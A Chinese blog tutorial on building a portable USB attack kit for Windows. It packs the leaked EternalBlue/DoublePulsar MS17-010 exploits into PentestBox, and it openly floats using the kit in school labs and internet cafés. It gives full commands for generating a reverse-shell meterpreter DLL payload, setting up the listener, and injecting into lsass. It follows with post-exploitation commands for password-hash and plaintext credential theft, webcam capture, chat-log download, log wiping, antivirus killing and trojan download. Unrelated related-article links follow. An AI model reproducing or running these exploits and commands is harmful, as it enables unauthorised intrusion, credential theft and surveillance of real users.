本文首发Freebuf,原创奖励计划,未经许可禁止转载。

链接:http://www.freebuf.com/articles/system/132274.html

一. 前言

  前段时间Shadow Broker披露了 Windows大量漏洞,甚至爆出黑客组织 Equation Group 对于Windows 远程漏洞 MS17-010 的利用工具,该漏洞影响范围之广,堪称杀器。可以看看官方通告https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx

  于是想着把攻击环境移植到u盘里,然后比如去学校机房,网吧。。。。。。

  这里分享一下个人的移植过程,以及在使用攻击代码过程中遇到的问题。

二. 环境移植过程

思路就是利用现成的神器pentestbox,向里添加攻击代码以及其运行需要的pytho环境

Pentest Box是一款Windows平台下预配置的便携式开源渗透测试环境,集成了各种编译运行环境,具体的可以到网上了解一下。

1.  工具准备:

Pentestbox:

https://pentestbox.org/zh/

方程式工具包:

EQGRP_Lost_in_Translation

https://github.com/x0rz/EQGRP_Lost_in_Translation/tree/master

python环境

必须在Python2.6  和 pywin32-221环境下,如果你用其他环境,会报各种诸如模块/dll缺失等错误

Python2.6  和 pywin32-221位数需要相同,我用的是32位的

Python2.6.6 (32)

下载链接:https://www.python.org/download/releases/2.6.6/

pywin32-221(32)

下载链接:

https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/pywin32-221.win32-py2.6.exe/download

2.  Pentestbox下python2.6环境配置

分别安装,然后你会得到攻击包运行的python2.6环境

在Python26\Lib\site-packages目录下,你会发现插件也已经安装

然后把python26这个文件夹拷贝到你的pentestbox环境变量目录下:Pentestbox\base

刚才你也可以直接装到pentestbox\base下

然后我们添加python2.6环境变量,在Pentestbox \config\alias文件中加一行

python26="%pentestbox_ROOT%\base\Python26\python.exe" $*

然后我们启动pentestbox,由于pentestbox通过线程注入挂钩cmd.exe来调用系统命令,因此杀软可能会提示警告,信任即可。

这个时候,我们运行python26可以看到环境配置成功

3. 漏洞利用工具配置

我们下载EQGRP_Lost_in_Translation工具包,修改windows目录下fb.py,去除不必要的代码

然后我们把windows文件夹复制到pentestbox目录下

这里我把windows里的文件放到pentestbox根目录下的ms17-010文件夹内

我们进入ms07-010目录并执行python26 fb.py

这样我们就可以启动攻击程序了

三. 攻击示例

攻击机:192.168.1.106

靶机: 192.168.1.111   windows x64 SP1

我们先用msf生成dll木马,用于控制目标

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxxx  LPORT=9999 -f dll > 9999-64.dll

Pentestbox里自带的metasploit框架我在使用总是时出现问题,我一般不用它,我通常是在自己的vps服务器进行监听

本地测试时候可以找一台kali攻击机

dll木马我们可以提前生成好放在u盘里带着,随时备用*_*

接下来我们用Msf进行监听

  use exploit/multi/handler

  set payload windows/x64/meterpreter/reverse_tcp

  set LHOST IP     (这里填写vps的内网ip,记得开放监听端口)

  set LPORT 9999

  set stagerverifysslcert false

  exploit -j

如果没有设置set stagerverifysslcert false,获取shell的时候可能会出现这样的情况

回到fb.py中,开始攻击

[?] Default Target IP Address [] :              攻击目标

[?] Default Callback IP Address [] :            本机ip

[?] Use Redirection [yes] : no                    是否重定向

[?] Base Log directory [D:\logs] :            是否输出日志

然后创建一个项目实例

如果你之前创建过实例,可以选择它,改设置,也可以重新创建一个

输入命令 use 可以查看我们利用的exp模块

我们使用EternalBlue模块,use EternalBlue

下面一直回车就行。。。

选择攻击目标的系统

这里会询问你payload传输方式  选择1,感觉更稳定些

继续回车,确认信息

成功之后,我们使用doublepulsar模块

继续一路回车

选择协议

选择目标系统

选择攻击方式,我们利用dll木马

设置dll木马路径,我已经提前生成好放在u盘里随身携带,随时备用~

然后设置要注入的程序,默认是lsass.exe

这里注入的进程会对目标造成影响,也试了几个其他程序,比如注explorer时候,会弹出一个报错框

注入其他进程,有时候或多或少都会出那么点问题

然后是一路回车

最后一步执行攻击

Msf这里成功获取shell

截个屏看看

一个正在成长中的团队,欢迎交流,分享,合作~

四. 后渗透辅助命令

配合下面的一些命令,happy to play~

meterpreter

upload /root/nc.exe c:\\windows\\system32  #上传文件

search –d c:\\windows –f *.mdb             #在目标主机Windows目录中搜索文件s

执行程序

execute -H -i -f cmd.exe #隐藏执行cmd并与之交互

execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt”                   #隐藏执行,并显示虚假运行程序

我们可以用远控生成一个木马传过去

例:下载目标聊天记录到本地/tmp目录下,可用Qqlogger查看

download c:\\Programs Files\\Tecent\\QQ\\Users\\qq号\\Msg2.0.db /tmp

run webcam -p 图片保存路径          #开启目标摄像头并截图

run packetrecorder –i 会话序号   #捕获流量数据包.pcap

提权

use privs

getsystem

getuid

clearev --清除日志

run killav --干掉杀软

文件关联

改变文件类型关联DLL到 txt文件类型: assoc .dll=txtfile

改变文件类型关联EXE 到png文件类型: assoc .exe=pngfile

改变文件类型关联MP3到jpg文件类型: assoc .mp3=jpgfile

Hash获取

hashdump或run hashdump或run smart_hashdump

>run post/windows/gather/hashdump

>run /windows/gather/smart_hashdump        --可绕过windows UAC控制

用kiwi获取明文密码:

meterpreter>load kiwi

meterpreter> creds_all

Metaspolit中使用Mimikatz:

使用metasploit内建的命令:

meterpreter > load mimikatz

meterpreter > msv   #msv creden

meterpreter > kerberostials #kerberos credentials

使用mimikatz自带的命令:

meterpreter > mimikatz_command -f samdump::hashes

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

<前面一句命令在密码超过14位时LM会为空,后一句命令可以得到明文>

利用windows命令下载文件

bitsadmin /transfer mydownJob /download /priority normal “http://url/muma.exe"   "F:\muma.exe "

详细用法可参考:https://technet.microsoft.com/zh-cn/library/cc753856(v=ws.10).aspx

最后:

今天下午有人在i春秋发布了批量利用程序

https://bbs.ichunqiu.com/thread-21863-1-1.html~

利用pentestbox打造ms17-010移动"杀器"的更多相关文章

  1. 打造自己的html5视频播放器

    前段时间重新学习了一下html5的video部分,以前只是停留在标签的使用上,这一次决定深入了解相关的API,并运用这些API打造一个简单的视频播放器.所谓“打造自己的”,就是要自己重写video标签 ...

  2. ORM “杀器”之 JOOQ

    ORM “杀器”之 JOOQ IN 后端编程,JAVA,敏捷开发,数据库 JOOQ是啥? JOOQ 是基于Java访问关系型数据库的工具包,轻量,简单,并且足够灵活,可以轻松的使用Java面向对象语法 ...

  3. [NewLife.XCode]反向工程(自动建表建库大杀器)

    NewLife.XCode是一个有10多年历史的开源数据中间件,支持nfx/netstandard,由新生命团队(2002~2019)开发完成并维护至今,以下简称XCode. 整个系列教程会大量结合示 ...

  4. 一文读懂机器学习大杀器XGBoost原理

    http://blog.itpub.net/31542119/viewspace-2199549/ XGBoost是boosting算法的其中一种.Boosting算法的思想是将许多弱分类器集成在一起 ...

  5. 离群点检测与序列数据异常检测以及异常检测大杀器-iForest

    1. 异常检测简介 异常检测,它的任务是发现与大部分其他对象不同的对象,我们称为异常对象.异常检测算法已经广泛应用于电信.互联网和信用卡的诈骗检测.贷款审批.电子商务.网络入侵和天气预报等领域.这些异 ...

  6. H5打造属于自己的视频播放器(JS篇2)

    回顾 算了不回顾了 直接搞起,打开JS1中写的bvd.js 播放视频 播放按钮隐藏 视频开始播放 当点击播放按钮的时候,播放按钮将会隐藏,播放视频,这个不难,在JS1中我们就已经实现.但我们改变一下思 ...

  7. 怎样利用App打造自明星实现自盈利

    怎样利用App打造自明星实现自盈利 1.了解各个概念       为了大家都能看懂这篇文章,先说明几个概念.        App(Application):能够在移动设备上使用,满足人们咨询.购物. ...

  8. 使用docker-compose 大杀器来部署服务 上

    使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...

  9. 使用docker-compose 大杀器来部署服务 上(转)

    使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...

随机推荐

  1. VMware5.5-vCenter Converter(转换)

    vCenter Converter 已知问题 出现:指定的参数不正确: "info.owner" 操作时一定是管理员,而不是管理员组的成员.或者: 如果 Converter Sta ...

  2. ES6快速入门(一)函数与作用域

    ES6快速入门 一.块级绑定 1.var声明与变量提升 使用var声明的变量,不论在何处都会被视为(声明)在函数级作用域顶部的位置发生. function getValue(condition) { ...

  3. DevC++出现[Error] ld returned 1 exit status,如何解决才好呢?

    回答: 代码在vc中没问题,虽然没用过DevC++. 可以把 ld returned 1 exit status前面的详细出错说出来程序是没有问题的,可能的问题最有可能是以下2个1.是你的程序已经在运 ...

  4. 函数(二):input、raw_input、lambda、repr、map、filter、reduce、eval、exec、range、xrange

    一.input()和raw_input(): input()支持用户输入数字或表达式,按类型存或存表达式的计算结果 raw_input():输入所有内容当成字符串存 二.lambda函数:匿名函数 l ...

  5. oracle 连接

    1.简述  1) 两个表的连接,是通过将一个表中的一列或者多列同另一个表中的列链接而建立起来的.用来连接两张表的表达式组成了连接条件.当连接成功后,第二张表中的数据就同第一张表连接起来了,并形成了复合 ...

  6. 小甲鱼Python第三讲课后习题

    0.以下哪个变量的命名不正确?为什么? A:MM_520 B:_MM520_ C:520_MM D:_520MM 变量 命名:以字母.下划线.数字组成,以字母.下划线开头 1.除了使用反斜杠(\)进行 ...

  7. js的几个补充事件

    在这里我做几个前面文章当中没有介绍的javascript补充事件 1.onscroll:当元素滚动条滚动时执行的事件: <div class="container"> ...

  8. 几个例子弄懂JS 的setTimeout的运行方式

                        function test() {   var a = 1;   setTimeout(function() {     alert(a);     a = 5 ...

  9. 转 Multiple outputs from T4 made easy t4生成多文件

    原文:http://damieng.com/blog/2009/11/06/multiple-outputs-from-t4-made-easy-revisited Usage Initializat ...

  10. HTML自学笔记

    HTML自学笔记 1.HTML Hyper Text Markup Language 超文本标记语言 超文本:比普通文本更加强大,可以添加各种样式 标记语言:通过一组标签来对内容进行描述. 标签:&l ...